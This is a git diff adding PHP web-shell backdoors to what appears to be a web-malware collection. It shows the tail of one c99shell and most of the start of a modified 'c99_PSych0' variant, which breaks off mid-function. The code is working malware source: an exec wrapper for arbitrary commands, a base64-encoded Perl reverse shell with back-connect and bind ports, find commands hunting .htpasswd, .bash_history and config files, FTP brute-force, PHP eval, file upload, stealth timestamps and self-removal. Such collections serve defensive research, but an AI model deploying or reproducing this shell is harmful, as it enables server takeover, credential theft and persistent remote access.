+"R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO". +"NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi". +"Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk". +"AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG". +"MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5". +"NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf". +"1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ". +"ADs=", +"ext_log"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN". +"zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==", +"ext_php"=> +"R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg". +"t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==", +"ext_pl"=> +"R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo". +"GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7", +"ext_swf"=> +"R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O". +"nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA". +"ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA". +"GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC". +"NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=", +"ext_tar"=> +"R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC". +"Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF". +"HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD". +"UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p". +"uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg". +"GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd". +"HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB". +"u4tLAgEAOw==", +"ext_txt"=> +"R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ". +"SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7". +"UpPWG3Ig6Hq/XmRjuZwkAAA7", +"ext_wri"=> +"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA". +"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao". +"a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=", +"ext_xml"=> +"R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA". +"gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA". +"AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx". +"OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ". +"IQA7" + ); + //For simple size- and speed-optimization. + $imgequals = array( + "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"), + "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"), + "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"), + "ext_html"=>array("ext_html","ext_htm"), + "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"), + "ext_lnk"=>array("ext_lnk","ext_url"), + "ext_ini"=>array("ext_ini","ext_css","ext_inf"), + "ext_doc"=>array("ext_doc","ext_dot"), + "ext_js"=>array("ext_js","ext_vbs"), + "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"), + "ext_wri"=>array("ext_wri","ext_rtf"), + "ext_swf"=>array("ext_swf","ext_fla"), + "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"), + "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so") + ); + if (!$getall) + { + header("Content-type: image/gif"); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + header("Last-Modified: ".date("r",filemtime(__FILE__))); + foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}} + if (empty($images[$img])) {$img = "small_unk";} + if (in_array($img,$ext_tar)) {$img = "ext_tar";} + echo base64_decode($images[$img]); + } + else + { + foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}} + natsort($images); + $k = array_keys($images); + echo "<center>"; + foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";} + echo "</center>"; + } + exit; +} +if ($act == "about") {echo "<center><b>Credits:<br>Idea, leading and coding by tristram[CCTeaM].<br>Beta-testing and some tips - NukLeoN [AnTiSh@Re tEaM].<br>Thanks all who report bugs.<br>All bugs send to tristram's ICQ #656555 <a href=\"http://wwp.icq.com/scripts/contact.dll?msgto=656555\"><img src=\"http://wwp.icq.com/scripts/online.dll?icq=656555&img=5\" border=0 align=absmiddle></a>.</b>";} +?> +</td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type="file" name="uploadfile"><input type=hidden name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> Captain Crunch Security Team | <a href="http://ccteam.ru"><font color="#FF0000">http://ccteam.ru</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); c99shexit(); ?> diff --git a/web-malware-collection-master/Backdoors/PHP/c99_PSych0.php b/web-malware-collection-master/Backdoors/PHP/c99_PSych0.php new file mode 100755 index 0000000..0969b91 --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99_PSych0.php @@ -0,0 +1,3284 @@ +<?php +//Starting calls +ini_set("max_execution_time",0); +if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}} +error_reporting(5); +$adires=""; +@ignore_user_abort(TRUE); +@set_magic_quotes_runtime(0); +$win = strtolower(substr(PHP_OS,0,3)) == "win"; +define("starttime",getmicrotime()); +if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);} +$_REQUEST = array_merge($_COOKIE,$_GET,$_POST); +foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}} + +$shver = "1.0 pre-release build #16"; //Current version +//CONFIGURATION AND SETTINGS +if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";} +elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);} +else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL +} + +$surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. + +if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}} +if (empty($surl)) +{ + $surl = "?".$includestr; //Self url +} +$surl = htmlspecialchars($surl); + +$timelimit = 0; //time limit of execution this script over server quote (seconds), 0 = unlimited. + +//Authentication +$login = ""; //login +//DON'T FORGOT ABOUT PASSWORD!!! +$pass = ""; //password +$md5_pass = ""; //md5-cryped pass. if null, md5($pass) + +$host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1") +$login_txt = "Restricted area"; //http-auth message. +$accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied"; + +$gzipencode = TRUE; //Encode with gzip? + +$updatenow = FALSE; //If TRUE, update now (this variable will be FALSE) + +$c99sh_updateurl = "http://ccteam.ru/update/c99shell/"; //Update server +$c99sh_sourcesurl = "http://ccteam.ru/files/c99sh_sources/"; //Sources-server + +$filestealth = TRUE; //if TRUE, don't change modify- and access-time + +$donated_html = "<center><b>C99 Modified By Psych0 </b></center>"; +/* If you publish free shell and you wish +add link to your site or any other information, +put here your html. */ +$donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html. + +$curdir = "./"; //start folder +//$curdir = getenv("DOCUMENT_ROOT"); +$tmpdir = ""; //Folder for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp) +$tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...) + +$log_email = "user@host.tld"; //Default e-mail for sending logs + +$sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending +$sort_save = TRUE; //If TRUE then save sorting-position using cookies. + +// Registered file-types. +// array( +// "{action1}"=>array("ext1","ext2","ext3",...), +// "{action2}"=>array("ext4","ext5","ext6",...), +// ... +// ) +$ftypes = array( + "html"=>array("html","htm","shtml"), + "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), + "exe"=>array("sh","install","bat","cmd"), + "ini"=>array("ini","inf"), + "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), + "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), + "sdb"=>array("sdb"), + "phpsess"=>array("sess"), + "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") +); + +// Registered executable file-types. +// array( +// string "command{i}"=>array("ext1","ext2","ext3",...), +// ... +// ) +// {command}: %f% = filename +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (empty($dizin)) {$dizin = realpath(".");} elseif(realpath($dizin)) {$dizin = realpath($dizin);} +$dizin = str_replace("\\",DIRECTORY_SEPARATOR,$dizin); +if (substr($dizin,-1) != DIRECTORY_SEPARATOR) {$dizin .= DIRECTORY_SEPARATOR;} +$dizin = str_replace("\\\\","\\",$dizin); +$dizinispd = htmlspecialchars($dizin); +/*dizin*/ +$real = realpath($dizinispd); +$path = basename ($PHP_SELF); +function dosyayicek($link,$file) +{ + $fp = @fopen($link,"r"); + while(!feof($fp)) + { + $cont.= fread($fp,1024); + } + fclose($fp); + + $fp2 = @fopen($file,"w"); + fwrite($fp2,$cont); + fclose($fp2); +} + + + + +$exeftypes = array( + getenv("PHPRC")." -q %f%" => array("php","php3","php4"), + "perl %f%" => array("pl","cgi") +); + +/* Highlighted files. + array( + i=>array({regexp},{type},{opentag},{closetag},{break}) + ... + ) + string {regexp} - regular exp. + int {type}: +0 - files and folders (as default), +1 - files only, 2 - folders only + string {opentag} - open html-tag, e.g. "<b>" (default) + string {closetag} - close html-tag, e.g. "</b>" (default) + bool {break} - if TRUE and found match then break +*/ +$regxp_highlight = array( + array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example + array("config.php",1) // example +); + +$safemode_diskettes = array("a"); // This variable for disabling diskett-errors. + // array (i=>{letter} ...); string {letter} - letter of a drive +//$safemode_diskettes = range("a","z"); +$hexdump_lines = 8;// lines in hex preview file +$hexdump_rows = 24;// 16, 24 or 32 bytes in one line + +$nixpwdperpage = 100; // Get first N lines from /etc/passwd + +$bindport_pass = "c99"; // default password for binding +$bindport_port = "31373"; // default port for binding +$bc_port = "31373"; // default port for back-connect +$datapipe_localport = "8081"; // default port for datapipe +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + +// Command-aliases +if (!$win) +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "ls -la"), + array("find all suid files", "find / -type f -perm -04000 -ls"), + array("find suid files in current dir", "find . -type f -perm -04000 -ls"), + array("find all sgid files", "find / -type f -perm -02000 -ls"), + array("find sgid files in current dir", "find . -type f -perm -02000 -ls"), + array("find config.inc.php files", "find / -type f -name config.inc.php"), + array("find config* files", "find / -type f -name \"config*\""), + array("find config* files in current dir", "find . -type f -name \"config*\""), + array("find all writable folders and files", "find / -perm -2 -ls"), + array("find all writable folders and files in current dir", "find . -perm -2 -ls"), + array("find all service.pwd files", "find / -type f -name service.pwd"), + array("find service.pwd files in current dir", "find . -type f -name service.pwd"), + array("find all .htpasswd files", "find / -type f -name .htpasswd"), + array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"), + array("find all .bash_history files", "find / -type f -name .bash_history"), + array("find .bash_history files in current dir", "find . -type f -name .bash_history"), + array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), + array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), + array("list file attributes on a Linux second extended file system", "lsattr -va"), + array("show opened ports", "netstat -an | grep -i listen") + ); +} +else +{ + $cmdaliases = array( + array("-----------------------------------------------------------", "dir"), + array("show opened ports", "netstat -an") + ); +} + +$sess_cookie = "c99shvars"; // Cookie-variable name + +$usefsbuff = TRUE; //Buffer-function +$copy_unset = FALSE; //Remove copied files from buffer after pasting + +//Quick launch +$quicklaunch = array( + array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl), + array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"), + array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"), + array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"), + array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""), + array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"), + array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"), + array("<b>Encoder</b>",$surl."act=encoder&d=%d"), + array("<b>Tools</b>",$surl."act=tools&d=%d"), + array("<b>Proc.</b>",$surl."act=processes&d=%d"), + array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"), + array("<b>Sec.</b>",$surl."act=security&d=%d"), + array("<b>SQL</b>",$surl."act=sql&d=%d"), + array("<b>PHP-code</b>",$surl."act=eval&d=%d"), + array("<b>Update</b>",$surl."act=update&d=%d"), + array("<b>Feedback</b>",$surl."act=feedback&d=%d"), + array("<b>Self remove</b>",$surl."act=selfremove"), + array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()") +); + +//Highlight-code colors +$highlight_background = "#c0c0c0"; +$highlight_bg = "#FFFFFF"; +$highlight_comment = "#6A6A6A"; +$highlight_default = "#0000BB"; +$highlight_html = "#1300FF"; +$highlight_keyword = "#007700"; +$highlight_string = "#000000"; + +@$f = $_REQUEST["f"]; +@extract($_REQUEST["c99shcook"]); + +//END CONFIGURATION + + +// \/Next code isn't for editing\/ +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} + +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or err(0); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function err($n,$txt='') +{ +echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>'; +echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n]; +if(!empty($txt)) { echo " $txt"; } +echo '</b></div></font></td></tr></table>'; +return null; +} +@set_time_limit(0); +$tmp = array(); +foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));} +$s = "!^(".implode("|",$tmp).")$!i"; +if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");} +if (!empty($login)) +{ + if (empty($md5_pass)) {$md5_pass = md5($pass);} + if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) + { + if (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));} + header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\""); + header("HTTP/1.0 401 Unauthorized"); + exit($accessdeniedmess); + } +} +if ($act != "img") +{ +$lastdir = realpath("."); +chdir($curdir); +if ($selfwrite or $updatenow) {@ob_clean(); c99sh_getupdate($selfwrite,1); exit;} +$sess_data = unserialize($_COOKIE["$sess_cookie"]); +if (!is_array($sess_data)) {$sess_data = array();} +if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} +if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} + +$disablefunc = @ini_get("disable_functions"); +if (!empty($disablefunc)) +{ + $disablefunc = str_replace(" ","",$disablefunc); + $disablefunc = explode(",",$disablefunc); +} + +if (!function_exists("c99_buff_prepare")) +{ +function c99_buff_prepare() +{ + global $sess_data; + global $act; + foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} + $sess_data["copy"] = array_unique($sess_data["copy"]); + $sess_data["cut"] = array_unique($sess_data["cut"]); + sort($sess_data["copy"]); + sort($sess_data["cut"]); + if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} + else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} +} +} +c99_buff_prepare(); +if (!function_exists("c99_sess_put")) +{ +function c99_sess_put($data) +{ + global $sess_cookie; + global $sess_data; + c99_buff_prepare(); + $sess_data = $data; + $data = serialize($data); + setcookie($sess_cookie,$data); +} +} +foreach (array("sort","sql_sort") as $v) +{ + if (!empty($_GET[$v])) {$$v = $_GET[$v];} + if (!empty($_POST[$v])) {$$v = $_POST[$v];} +} +if ($sort_save) +{ + if (!empty($sort)) {setcookie("sort",$sort);} + if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);} +} +if (!function_exists("str2mini")) +{ +function str2mini($content,$len) +{ + if (strlen($content) > $len) + { + $len = ceil($len/2) - 2; + return substr($content, 0,$len)."...".substr($content,-$len); + } + else {return $content;} +} +} +if (!function_exists("view_size")) +{ +function view_size($size) +{ + if (!is_numeric($size)) {return FALSE;} + else + { + if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} + elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} + elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} + else {$size = $size . " B";} + return $size; + } +} +} +if (!function_exists("fs_copy_dir")) +{ +function fs_copy_dir($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} + $h = opendir($d); + while (($o = readdir($h)) !== FALSE) + { + if (($o != ".") and ($o != "..")) + { + if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);} + if (!$ret) {return $ret;} + } + } + closedir($h); + return TRUE; +} +} +if (!function_exists("fs_copy_obj")) +{ +function fs_copy_obj($d,$t) +{ + $d = str_replace("\\",DIRECTORY_SEPARATOR,$d); + $t = str_replace("\\",DIRECTORY_SEPARATOR,$t); + if (!is_dir(dirname($t))) {mkdir(dirname($t));} + if 